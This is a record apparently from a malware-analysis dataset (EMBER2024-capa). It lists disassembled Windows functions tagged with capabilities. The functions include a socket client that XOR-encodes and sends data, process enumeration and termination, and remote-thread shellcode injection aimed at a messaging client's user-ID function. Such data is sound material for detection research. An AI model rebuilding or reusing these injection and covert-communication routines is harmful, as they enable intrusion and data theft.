joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401380
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi], vtable.CClientSocket.0
mov dword [esi + 4], vtable.CBuffer.0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], vtable.CBuffer.0
mov dword [esi + 0x20], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x24], vtable.CBuffer.0
mov dword [esi + 0x30], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x34], vtable.CBuffer.0
mov dword [esi + 0x40], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x19c]
mov dword [esi + 0x4c], eax
mov eax, esi
mov dword [esi + 0x54], 0x207868
mov dword [esi + 0x48], 0xffffffff
pop esi
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret

Function at 0x401490
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 0xffffffffffffffff
lea esi, [edi + 0x57]
mov byte [esi], 0
push dword [edi + 0x44]
mov dword [edi], vtable.CClientSocket.0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [edi + 0x48]
cmp eax, 0xffffffff
je 0x4014fc
push 4
lea ecx, [ebp - 4]
mov dword [ebp - 4], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0x48]
call dword [sym.imp.KERNEL32.dll_CancelIo]
xor eax, eax
xchg dword [esi], eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [edi + 0x4c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [edi + 0x48], 0xffffffff
push dword [edi + 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x4c]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [edi + 0x38]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edi + 0x34], vtable.CBuffer.0
test eax, eax
je 0x401530
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 0x28]
mov dword [edi + 0x24], vtable.CBuffer.0
test eax, eax
je 0x401548
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 0x18]
mov dword [edi + 0x14], vtable.CBuffer.0
test eax, eax
je 0x401560
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 8]
mov dword [edi + 4], vtable.CBuffer.0
test eax, eax
je 0x401578
push 0x8000
push 0
push eax
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401580
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x28]
push edi
push 4
push eax
mov edi, ecx
mov dword [ebp - 0x28], 1
push 0x80
push 0xffff
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0x48]
call dword [sym.imp.KERNEL32.dll_CancelIo]
lea ebx, [edi + 0x57]
xor eax, eax
xchg dword [ebx], eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [edi + 0x4c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [edi + 0x4c]
mov dword [edi + 0x48], 0xffffffff
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0x48], eax
cmp eax, 0xffffffff
je 0x40170e
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x40170e
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
mov eax, dword [esi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x24]
push eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40170e
push 4
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
push 8
push 0xffff
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4016a2
push eax
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], 1
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x2bf20
push eax
push 0x98000004
push dword [edi + 0x48]
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push 0
push 0
mov byte [ebx], 1
mov dword [edi + 0x50], 0
mov dword [ebp - 0x14], 0x401730
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x44], esi
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004137fd
mov esp, ebp
pop ebp
ret 8
Function at 0x401e10
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 4], ecx
push esi
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
jle 0x401e9f
cmp ebx, 0x40
jb 0x401e90
movaps xmm1, xmmword [0x4417c0]
lea eax, [edi + 0x20]
movaps xmm2, xmmword [0x4417a0]
mov esi, ebx
and esi, 0xffffffc0
movups xmm0, xmmword [eax - 0x20]
add edx, 0x40
lea eax, [eax + 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp edx, esi
jl 0x401e43
cmp edx, ebx
jge 0x401e9f
nop dword [eax]
mov al, byte [edi + edx]
sub al, 0x46
xor al, 0x33
mov byte [edi + edx], al
inc edx
cmp edx, ebx
jl 0x401e90
xor esi, esi
mov eax, ebx
cmp ebx, 0x11800
mov dword [ebp - 8], esi
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp + 8], eax
jb 0x401f07
xor esi, esi
nop dword [eax]
push 0
push 0x11800
push edi
push dword [ecx + 0x48]
call ebx
test eax, eax
jg 0x401edc
mov ecx, dword [ebp - 4]
inc esi
cmp esi, 0xf
jl 0x401ec0
je 0x401f2d
mov esi, dword [ebp - 8]
add edi, 0x11800
add esi, eax
push 0xa
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
sub eax, 0x11800
mov dword [ebp + 8], eax
cmp eax, 0x11800
jae 0x401eb7
test eax, eax
je 0x401f3e
xor esi, esi
nop dword [eax]
push 0
push eax
push edi
push dword [ecx + 0x48]
call ebx
mov edx, eax
test edx, edx
jg 0x401f39
mov eax, dword [ebp + 8]
inc esi
mov ecx, dword [ebp - 4]
cmp esi, 0xf
jl 0x401f10
jne 0x401f39
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov esi, dword [ebp - 8]
add esi, edx
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401f50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, 0xaaaaaaab
mov dword [ebp - 0x70], 0x20001
mul dword [ebp + 0xc]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x6c], 0x40003
mov ebx, edx
mov dword [ebp - 0x68], 0x60005
shr ebx, 1
mov eax, edi
mov dword [ebp - 0x64], 0x80007
mov dword [ebp - 0x60], 0x90009
mov dword [ebp - 0x5c], 0x70008
mov dword [ebp - 0x58], 0x50006
mov dword [ebp - 0x54], 0x30004
mov dword [ebp - 0x50], 0x10002
mov dword [ebp - 0x4c], 0x10000
mov dword [ebp - 0x48], 0x30002
mov dword [ebp - 0x44], 0x50004
mov dword [ebp - 0x40], 0x70006
mov dword [ebp - 0x3c], 0x90008
mov dword [ebp - 0x38], 0xb000a
mov dword [ebp - 0x34], 0xd000c
mov dword [ebp - 0x30], 0xf000e
mov dword [ebp - 0x2c], 0x110010
mov dword [ebp - 0x28], 0x130012
mov dword [ebp - 0x24], 0x120013
mov dword [ebp - 0x20], 0x100011
mov dword [ebp - 0x1c], 0x160015
mov dword [ebp - 0x18], 0x180017
mov dword [ebp - 0x14], 0x1a0019
mov dword [ebp - 0x10], 0x1c001b
mov dword [ebp - 0xc], 0x1d001d
mov dword [ebp - 8], 0x1b001c
mov dword [ebp - 4], 0x19001a
je 0x402054
nop
xor esi, esi
movzx ecx, di
cmp di, 0x38
cmovne esi, ecx
movzx edx, si
mov esi, dword [ebp + 8]
mov cl, byte [ebp + edx*2 - 0x70]
xor byte [esi + eax], cl
inc eax
lea ecx, [edx + 1]
movzx edi, cx
cmp eax, ebx
jb 0x402030
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x402f60
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x43f8fc
push eax
mov dword [ebp - 0xc], eax
call esi
push 0x43f90c
push dword [ebp - 0xc]
mov ebx, eax
call esi
push 0x43f91c
push dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x10], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x20], eax
call esi
push 0
mov edi, eax
call ebx
lea eax, [ebp - 0x14]
xor esi, esi
push eax
push 0x437568
push 1
push esi
push 0x437578
call dword [ebp - 0x10]
test eax, eax
jne 0x4030a2
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 4]
push esi
push edx
push 0x437588
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x4030a2
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x18]
push edx
lea edx, [ebp - 8]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x40307c
lea ebx, [esi + 8]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x437460
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x40305c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x30]
push 0
push edx
mov word [ebp - 0x30], bx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x403053
push dword [ebp - 0x28]
inc esi
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x18]
push edx
lea edx, [ebp - 8]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x403017
call dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x40308f
push eax
call edi
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x403099
push eax
call edi
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4040b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x130], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x124
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push 0
push eax
call fcn.004166e0
add esp, 0xc
mov dword [esp + 0x10], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x404142
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x404142
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
push dword [esp + 0xc]
lea eax, [esp + 0x38]
push eax
call esi
test eax, eax
je 0x40415b
lea eax, [esp + 0x10]
push eax
push edi
call ebx
test eax, eax
jne 0x404120
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret 4
mov esi, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret 4

Function at 0x404180
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.CallWindowProcA
push str.user32.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [ebp + 0x10]
mov dword [ebp - 8], eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 4], eax
test edi, edi
jne 0x4041e2
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
xor esi, esi
cmp dword [ebp + 0x10], esi
jle 0x404210
nop word [eax + eax]
mov eax, dword [ebp + 0xc]
push 0
push 1
add eax, esi
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404263
inc esi
inc edi
cmp esi, dword [ebp + 0x10]
jl 0x4041f0
mov eax, dword [ebp - 4]
push 0
push 0
push eax
push dword [ebp - 8]
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push dword [ebp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0x8000
push dword [ebp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404ee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43569d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push eax
call fcn.004040b0
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x4050c3
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4050c3
push 0x40
push 0x1000
push 4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x4050bc
sub esp, 0x18
xorps xmm0, xmm0
mov esi, esp
mov dword [ebp - 0x30], esp
push 0x20
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.0041384a
mov edx, eax
mov dword [esi + 0x10], 0x1f
mov dword [esi], edx
mov dword [esi + 0x14], 0x1f
movups xmm0, xmmword [str._GetSelfUin_Contact_Util__YAKXZ]
movups xmmword [edx], xmm0
movq xmm0, qword [0x43fc68]
movq qword [edx + 0x10], xmm0
mov ecx, dword [0x43fc70]
mov dword [edx + 0x18], ecx
movzx eax, word [0x43fc74]
mov word [edx + 0x1c], ax
mov al, byte [0x43fc76]
mov byte [edx + 0x1e], al
mov byte [edx + 0x1f], 0
mov esi, dword [ebp - 0x2c]
sub esp, 0x14
mov ecx, esp
xorps xmm0, xmm0
push esi
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0xe
mov dword [ecx + 0x14], 0xf
movq xmm0, qword [str.KernelUtil.dll]
movq qword [ecx], xmm0
mov eax, dword [0x43fc50]
mov dword [ecx + 8], eax
movzx eax, word [0x43fc54]
mov word [ecx + 0xc], ax
mov byte [ecx + 0xe], 0
mov dword [ebp - 4], 0xffffffff
call fcn.00404290
mov edx, eax
test edx, edx
je 0x4050aa
sar eax, 0x10
mov ecx, edx
mov byte [ebp - 0x1c], al
sar ecx, 8
mov byte [ebp - 0x1d], cl
mov ecx, dword [ebp - 0x24]
mov eax, ecx
sar eax, 8
mov byte [ebp - 0x16], al
mov eax, ecx
sar eax, 0x10
mov byte [ebp - 0x15], al
mov eax, ecx
sar eax, 0x18
mov byte [ebp - 0x14], al
lea eax, [ebp - 0x20]
push 0xf
mov byte [ebp - 0x1e], dl
push eax
sar edx, 0x18
push esi
mov word [ebp - 0x20], 0xb860
mov byte [ebp - 0x1b], dl
mov word [ebp - 0x1a], 0xd0ff
mov byte [ebp - 0x18], 0xa3
mov byte [ebp - 0x17], cl
mov word [ebp - 0x13], 0xc361
call fcn.00404180
mov esi, dword [ebp - 0x24]
cmp eax, 0xffffffff
je 0x4050ad
push 0
push 4
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4050ad
push 0x8000
push 4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
jmp 0x4050c5
mov esi, dword [ebp - 0x24]
push 0x8000
push 4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret 4
Function at 0x4069b0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x48], eax
push esi
push 0x14
call fcn.0041383c
push 0x40
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
call fcn.004166e0
add esp, 0x10
mov dword [esp + 8], 0x40
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
shrd ecx, eax, 0x14
shr eax, 0x14
add ecx, 1
adc eax, 0
push eax
push ecx
push 0x43fef8
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [esp + 0x5c]
add esp, 0x10
mov eax, esi
pop esi
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret

Function at 0x406a30
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x48], eax
push esi
push 0x14
call fcn.0041383c
push 0x40
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
call fcn.004166e0
add esp, 0x10
mov dword [esp + 8], 0x40
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
shrd ecx, eax, 0x14
shr eax, 0x14
add ecx, 1
adc eax, 0
push eax
push ecx
push 0x43fef8
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [esp + 0x5c]
add esp, 0x10
mov eax, esi
pop esi
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
Function at 0x408090
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ec
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x2e8], eax
push ebx
push esi
push edi
mov ebx, ecx
mov dword [esp + 0x10], edx
push 0x168
lea eax, [esp + 0x18c]
mov ecx, 0x5c
mov esi, ebx
lea edi, [esp + 0x1c]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [esp + 0x124]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4081e3
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 0
push eax
add ecx, 0xfffffe90
push ecx
lea ecx, [ebx + 0x170]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4081e3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408135
sub ecx, edx
je 0x408165
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x128]
push eax
lea eax, [esp + 0x190]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x40817b
lea eax, [esp + 0x124]
push eax
lea eax, [esp + 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x1c]
sub eax, 0
je 0x4081b8
sub eax, 1
je 0x408190
sub eax, 2
je 0x4081fa
jmp 0x4081c9
xor edx, edx
lea ecx, [esp + 0x188]
call fcn.00407df0
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2e8]
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
mov edx, 5
lea ecx, [esp + 0x188]
call fcn.00407df0
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2e8]
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2f4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
call fcn.00406530
int3
Function at 0x408200
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
mov ebx, ecx
push esi
push edi
test ebx, ebx
je 0x408309
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x408309
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x408302
mov ecx, ebx
lea eax, [esp + 0x34]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408280
test dl, dl
je 0x40827c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408280
add eax, 2
add ecx, 2
test dl, dl
jne 0x408260
xor eax, eax
jmp 0x408285
sbb eax, eax
or eax, 1
test eax, eax
je 0x4082cb
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
je 0x408302
mov eax, ebx
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4082c2
test dl, dl
je 0x4082be
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4082c2
add ecx, 2
add eax, 2
test dl, dl
jne 0x4082a2
xor eax, eax
jmp 0x4082c7
sbb eax, eax
or eax, 1
test eax, eax
jne 0x408290
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x18]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x408309
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret